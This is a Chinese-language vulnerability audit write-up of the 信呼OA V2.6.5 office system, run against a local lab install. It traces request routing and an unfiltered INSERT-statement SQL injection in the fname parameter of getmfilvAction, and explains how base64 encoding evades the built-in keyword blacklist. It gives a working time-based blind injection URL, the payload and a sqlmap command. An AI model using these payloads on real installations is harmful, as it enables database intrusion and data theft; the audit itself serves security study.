环境搭建

信呼OA V2.6.5:http://www.rockoa.com/index.php?a=down&id=285

  • phpstudy2018
  • Apache 2.4.23
  • php 5.5.38
  • mysql 5.5.53
  • 信呼OA V2.6.5

image-20250116132122178

路由审计

  • include/View.php

分析路由文件可知,页面由m、a、d、ajaxbool控制,m代表php文件名(不带Action),a代表方法名,d代表webmain目录下的子目录,ajaxbool如果为false代表请求Action类型方法,如果为true代表请求Ajax类型方法

  • 例如

http://127.0.0.1/cms/xinhu_v2.6.5/index.php?a=openfile&m=index&d=&ajaxbool=true

代表访问的是入口文件是index.php,目录是webmain/index/indexAction.php,方法是openfileAjax

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php
// 判断是否设置了 $ajaxbool,如果没有则通过 $rock->jm->gettoken() 获取,默认为 'false'
if(!isset($ajaxbool)) $ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');

// 从 GET 请求中获取 ajaxbool 的值,如果没有则使用上面的默认值
$ajaxbool = $rock->get('ajaxbool', $ajaxbool);

// 获取当前项目名称,PROJECT 是一个常量
$p = PROJECT;

// 检查是否设置了 m、a 和 d 变量,如果未设置则分别赋默认值 'index'、'default' 和空字符串
if(!isset($m)) $m = 'index';
if(!isset($a)) $a = 'default';
if(!isset($d)) $d = '';
$m = $rock->get('m', $m);
$a = $rock->get('a', $a);
$d = $rock->get('d', $d);

// 定义全局常量,用于标识模块 (M)、动作 (A)、目录 (D) 和项目 (P)
define('M', $m);
define('A', $a);
define('D', $d);
define('P', $p);

// 如果 $m 包含管道符号 ('|'),分割为主模块和子模块
$_m = $m;
if($rock->contain($m, '|')) {
$_mas = explode('|', $m);
$m = $_mas[0]; // 主模块
$_m = $_mas[1]; // 子模块
}

// 包含主模块的 Action 文件
include_once($rock->strformat('?0/?1/?1Action.php', ROOT_PATH, $p));

// 生成一个随机字符串,用于唯一标识请求或调试
$rand = date('YmdHis') . rand(1000, 9999);

// 确保目录路径以 '/' 结尾
if(substr($d, -1) != '/' && $d != '') $d .= '/';

// 定义 action 文件路径
$actpath = $rock->strformat('?0/?1/?2?3', ROOT_PATH, $p, $d, $_m);
define('ACTPATH', $actpath);

// 主模块和子模块的 Action 文件路径
$actfile = $rock->strformat('?0/?1Action.php', $actpath, $m);
$actfile1 = $rock->strformat('?0/?1Action.php', $actpath, $_m);

// 尝试加载子模块和主模块的 Action 文件
if(file_exists($actfile1)) include_once($actfile1);
if(file_exists($actfile)) {
include_once($actfile);

// 动态实例化主模块对应的类
$clsname = ''.$m.'ClassAction';
$xhrock = new $clsname();

// 根据动作名生成方法名
$actname = ''.$a.'Action';
if($ajaxbool == 'true') $actname = ''.$a.'Ajax';

// 判断方法是否存在并执行
if(method_exists($xhrock, $actname)) {
$xhrock->beforeAction(); // 调用前置操作
$actbstr = $xhrock->$actname(); // 执行具体动作方法

// 如果方法返回结果为字符串或数组,直接输出
if(is_string($actbstr)) { echo $actbstr; $xhrock->display = false; }
if(is_array($actbstr)) { echo json_encode($actbstr); $xhrock->display = false; }
} else {
$methodbool = false;
if($ajaxbool == 'false') echo ''.$actname.' not found;';
}

// 调用后置操作
$xhrock->afterAction();
} else {
// 如果模块对应的 Action 文件不存在,提示错误
echo 'actionfile not exists;';
$xhrock = new Action();
}

// 如果需要渲染模板且非 AJAX 请求,准备模板数据并渲染
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')) {
// 设置模板数据
$xhrock->smartydata['p'] = $p;
$xhrock->smartydata['a'] = $a;
$xhrock->smartydata['m'] = $m;
$xhrock->smartydata['d'] = $d;
$xhrock->smartydata['rand'] = $rand;

// 定义模板路径和文件名
$tplpaths = ''.ROOT_PATH.'/'.$p.'/'.$d.$m.'/';
$tplname = 'tpl_'.$m;
if($a != 'default') $tplname .= '_'.$a;
$tplname .= '.'.$xhrock->tpldom;
$mpathname = $tplpaths.$tplname;

// 如果模板文件不存在或方法无效,输出错误信息
if(!file_exists($mpathname) || !$methodbool) {
$errormsg = !$methodbool ? 'in ('.$m.') not found Method('.$a.');' : ''.$tplname.' not exists;';
echo $errormsg;
} else {
$_showbool = true;
}
}

// 最后渲染模板
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype == 'html' || $ajaxbool == 'false') && $_showbool) {
$xhrock->setHtmlData();
$da = $xhrock->smartydata;
foreach($xhrock->assigndata as $_k => $_v) $$_k = $_v;
include_once($mpathname);
}
}

image-20250116134649982

漏洞审计

  • 定位到漏洞文件webmain/task/api/uploadAction.php

跟进getmfilvAction方法

这段代码的核心功能是根据给定的文件ID,读取文件信息并保存为一个新副本,同时将副本的相关信息存储在数据库中以供后续使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public function getmfilvAction() {
// 从请求中获取文件ID,如果没有提供,默认值为0
$fileid = (int)$this->get('fileid', '0');

// 从数据库中获取与文件ID对应的文件信息
$frs = m('file')->getone($fileid);
// 如果文件信息不存在,则返回错误
if (!$frs) return returnerror('不存在');

// 获取文件的外部路径
$lujing = $frs['filepathout'];
// 如果外部路径为空,则使用本地文件路径
if (isempt($lujing)) {
$lujing = $frs['filepath'];
// 如果路径不是以 "http" 开头且文件不存在,则返回错误
if (substr($lujing, 0, 4) != 'http' && !file_exists($lujing)) return returnerror('文件不存在了');
}

// 获取文件扩展名
$fileext = $frs['fileext'];

// 从请求中解码文件名(Base64编码),如果未提供则使用数据库中的文件名
$fname = $this->jm->base64decode($this->get('fname'));
$fname = (isempt($fname)) ? $frs['filename'] : '' . $fname . '.' . $fileext . '';

// 构造一个新的文件存储路径
$filepath = ''.UPDIR.'/'.date('Y-m').'/'.date('d').'_rocktpl'.rand(1000,9999).'_'.$fileid.'.'.$fileext.'';
// 将文件内容保存到新路径
$this->rock->createtxt($filepath, file_get_contents($lujing));

// 构造要插入数据库的文件信息数组
$uarr = array(
'filename' => $fname, // 文件名
'fileext' => $fileext, // 文件扩展名
'filepath' => $filepath, // 文件路径
'filesize' => filesize($filepath), // 文件大小(字节)
'filesizecn' => $this->rock->formatsize(filesize($filepath)), // 格式化文件大小
'optid' => $this->adminid, // 操作管理员ID
'optname' => $this->adminname, // 操作管理员名称
'adddt' => $this->rock->now, // 当前操作时间
'ip' => $this->rock->ip, // 操作IP地址
'web' => $this->rock->web, // 操作来源(网页)
);

// 插入文件记录到数据库,返回生成的文件ID
$uarr['id'] = m('file')->insert($uarr);

// 返回成功信息以及文件信息
return returnsuccess($uarr);
}

GET方式接收fname参数,然后被封装进入$uarr数组,然后被传入insert方法

  1. 可以看到这个方法一共有两个可控的参数,fileid,fname,都是GET方式接收的
  2. fileid参数被强制类型转化为了int,不可能存在注入了
  3. 只能从fname参数入手
  4. 跟进fname参数,首先从GET方式接收,用户可控,然后进行base64解码,再赋值给$fname,之后作为文件信息数组元素之一被insert()写入到数据库,此处发生数据库交互
  5. 本方法未见对fname的明显过滤,过滤逻辑可能在get方法或者insert方法,于是先跟进insert方法

跟进insert方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function insert($arr)
{
// 初始化插入数据的返回ID为0
$nid = 0;

// 使用 record 方法插入数据,如果成功则获取数据库的插入ID
if ($this->record($arr, '')) {
// 调用数据库对象的 insert_id() 方法获取最后一次插入记录的ID
$nid = $this->db->insert_id();
}

// 返回插入记录的ID(如果未插入成功则返回0)
return $nid;
}

该方法使用 record 方法插入数据,如果成功则获取数据库的插入ID

GET方式接收fname参数,然后被封装进入$uarr数组,然后被传入insert方法,然后被传入到record方法的$arr里

于是继续跟进record方法

跟进record方法

  • include/Model.php
1
2
3
4
5
public function record($arr, $where = '')
{
// 调用数据库对象的 record 方法,将数据插入或更新到当前类的表名 ($this->table) 中
return $this->db->record($this->table, $arr, $where);
}

跟进到了record方法的业务逻辑层封装,但是看不到具体逻辑代码,于是要根跟进到底层去找,寻找底层数据库操作方法record

Model.php 中的 record 方法实际上是一个高层的封装,它调用了底层 mysql.php 中的 record 方法

跟进到了include/class/mysql.php的record方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public function record($table, $array, $where = '')
{
// 默认情况下认为是插入操作
$addbool = true;

// 如果传入了$where,表示是更新操作
if (!$this->isempt($where)) {
$addbool = false;
}

// 初始化存储字段和数值的变量
$cont = '';

// 如果$array是一个数组,表示需要插入或更新多个字段
if (is_array($array)) {
// 遍历数组,将每个字段和对应的值拼接成 SQL 语句的部分
foreach ($array as $key => $val) {
// 拼接每个字段名和值(值通过 toaddval 方法进行处理)
$cont .= ",`$key`=" . $this->toaddval($val) . "";
}
// 移除开头的逗号
$cont = substr($cont, 1);
} else {
// 如果$array不是数组,直接使用它作为字段值
$cont = $array;
}

// 获取表名,可能是通过某种方式处理的(如前缀)
$table = $this->gettables($table);

// 判断是插入操作还是更新操作
if ($addbool) {
// 生成插入的 SQL 语句
$sql = "insert into $table set $cont";
} else {
// 如果是更新操作,则获取 where 条件,并生成更新的 SQL 语句
$where = $this->getwhere($where);
$sql = "update $table set $cont where $where";
}

// 执行 SQL 语句,调用事务处理函数(执行实际的数据库操作)
return $this->tranbegin($sql);
}

GET方式接收fname参数,然后被封装进入$uarr数组,然后被传入insert方法,然后被传入到record方法的$arr里,然后再解析拼接为$cont,然后被拼接到插入操作的sql语句的尾部,被赋值为$sql,然后再传入tranbegin事务执行数据库操作

这段代码,能够执行向数据库插入或更新数据的操作,并自动根据传入的条件构造 SQL 语句。

首先是是对where参数进行非空判断,前面代码是将where设置为空了,那么$addbool就是false。

接着就是判断$array是否为数组,若是数组就进行遍历将每个字段和对应的值拼接到$cont字符串中并调用toaddval方法确保传入的字符串被正确地格式化为 SQL 语句中的字符串值

但该方法并没有对sql进行任何过滤

然后调用gettables设置表名,接着进入else语句

$sql变量直接将$cont语句拼接到了sql语句中

该处后端SQL语句是:insert into $table set $cont,注入点就在$cont,可见这里是一个insert类型的注入

还是没有什么过滤逻辑

于是再回过头去跟进一下get方法

跟进get方法

  • include/Action.php
1
2
3
4
5
6
public function get($na, $dev = '', $lx = 0)
{
// 调用 $this->rock 对象的 get 方法,并传递 $na, $dev, $lx 参数
// 返回该方法的结果
return $this->rock->get($na, $dev, $lx);
}

还是上面一样的情况,这是业务逻辑层的封装,为了看到具体逻辑,要根据到底层去找get方法

  • include/rockClass.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function get($name, $dev = '', $lx = 0)
{
// 初始化 $val 为 $dev 默认值
$val = $dev;

// 如果 $_GET 中存在指定的参数(通过 $name 获取),则将该值赋给 $val
if (isset($_GET[$name])) {
$val = $_GET[$name];
}

// 如果 $val 为空(调用了 isempt 方法检查),则将 $val 设置为 $dev
if ($this->isempt($val)) {
$val = $dev;
}

// 使用 jmuncode 方法对 $val 进行解码处理,并返回处理后的值
return $this->jmuncode($val, $lx, $name);
}

这个方法只是判断是否进行了get传参,如果传参成功就进行赋值操作

之后进行非空判断

调用jmucade方法()将其值返回

该方法中还是没有对sql语句进行过滤

可恶过滤逻辑究竟在哪里呢?我们先后跟进了insert、get方法的底层实现都没有找到任何过滤逻辑,其实我们还有一个地方忽略了,就是魔术方法,一些过滤逻辑也常常写在魔术方法里,比如构造方法,__wakeup方法等等

在rockClass.php中我们发现,构造方法被重写了,于是跟进看看

跟进__construct方法

  • include/rockClass.php

终于被找到了,这里就是过滤的逻辑

当我们创建一个rockClass对象时,会自动调用这个构造函数

这个魔术方法过滤了大量的sql关键字和关键符号,看上去并不好绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public function __construct()
{
// 获取客户端的 IP 地址
$this->ip = $this->getclientip();

// 获取当前 HTTP 请求中的主机名(域名)
$this->host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';

// 如果主机名以 ":80" 结尾,去掉 ":80"(通常是 HTTP 默认端口)
if ($this->host && substr($this->host, -3) == ':80') {
$this->host = str_replace(':80', '', $this->host);
}

// 初始化其他属性
$this->url = ''; // 初始化 URL 属性为空
$this->isqywx = false; // 用于判断是否是企业微信
$this->win = php_uname(); // 获取操作系统信息
$this->HTTPweb = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; // 获取用户代理信息(浏览器信息)

// 获取浏览器信息
$this->web = $this->getbrowser();

// 初始化用户数组,包含两个元素
$this->unarr = explode(',', '1,2');

// 获取当前时间戳
$this->now = $this->now();

// 获取当前日期,格式为 'Y-m-d'
$this->date = date('Y-m-d');

// 存储潜在危险 SQL 操作的数组,防止 SQL 注入
$this->lvlaras = explode(',', 'select ,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');

// 存储常见的 SQL 操作关键字,通常用于 SQL 注入防护
$this->lvlaraa = explode(',', 'select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*');

// 初始化一个空数组,用于存储 SQL 注入相关的关键字
$this->lvlarab = array();

// 将 $this->lvlaraa 中的每个元素都转化为空字符串,并存入 $this->lvlarab 数组
foreach ($this->lvlaraa as $_i) {
$this->lvlarab[] = '';
}
}

绕过

可是我们fname在接收时有这么一个操作

image-20250116153022207

有一个自动解码base64的操作,于是我们只需要把sql攻击语句base64编码一下,就能逃过__construct的过滤,并且还能被base64解码正常解析执行

漏洞触发

接下来构造路由触发SQL注入漏洞,由于漏洞文件是:webmain/task/api/uploadAction.php,方法是getmfilvAction,参数是fname

于是入口文件是api.php

image-20250116154529986

a=getmfilv 方法

m=upload|api api是子模块

d=task 这是子目录

fileid=1 这是文件id参数随便填

fname=MScgYW5kIHNsZWVwKDYpIw== 这是构造payload的参数

1
api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDYpIw==

结合前文这里是一个insert类型的注入,注入点在尾部$cont

1
insert into $table set $cont

于是这里只能用盲注的技术去构造攻击了

先时间盲注延时看看能不能成功:

1
2
3
4
5
1' and sleep(5)-- +

MScgYW5kIHNsZWVwKDUpLS0gKw==

http://127.0.0.1/cms/xinhu_v2.6.5/api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDUpLS0gKw==

延时成功!

image-20250116160533236

还可以使用sqlmap去跑一下看看:

1
python sqlmap.py -u "http://127.0.0.1/cms/xinhu_v2.6.5/api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=1" -p fname --tamper=base64encode --cookie "你的cookie"

image-20250116161157410

时间盲注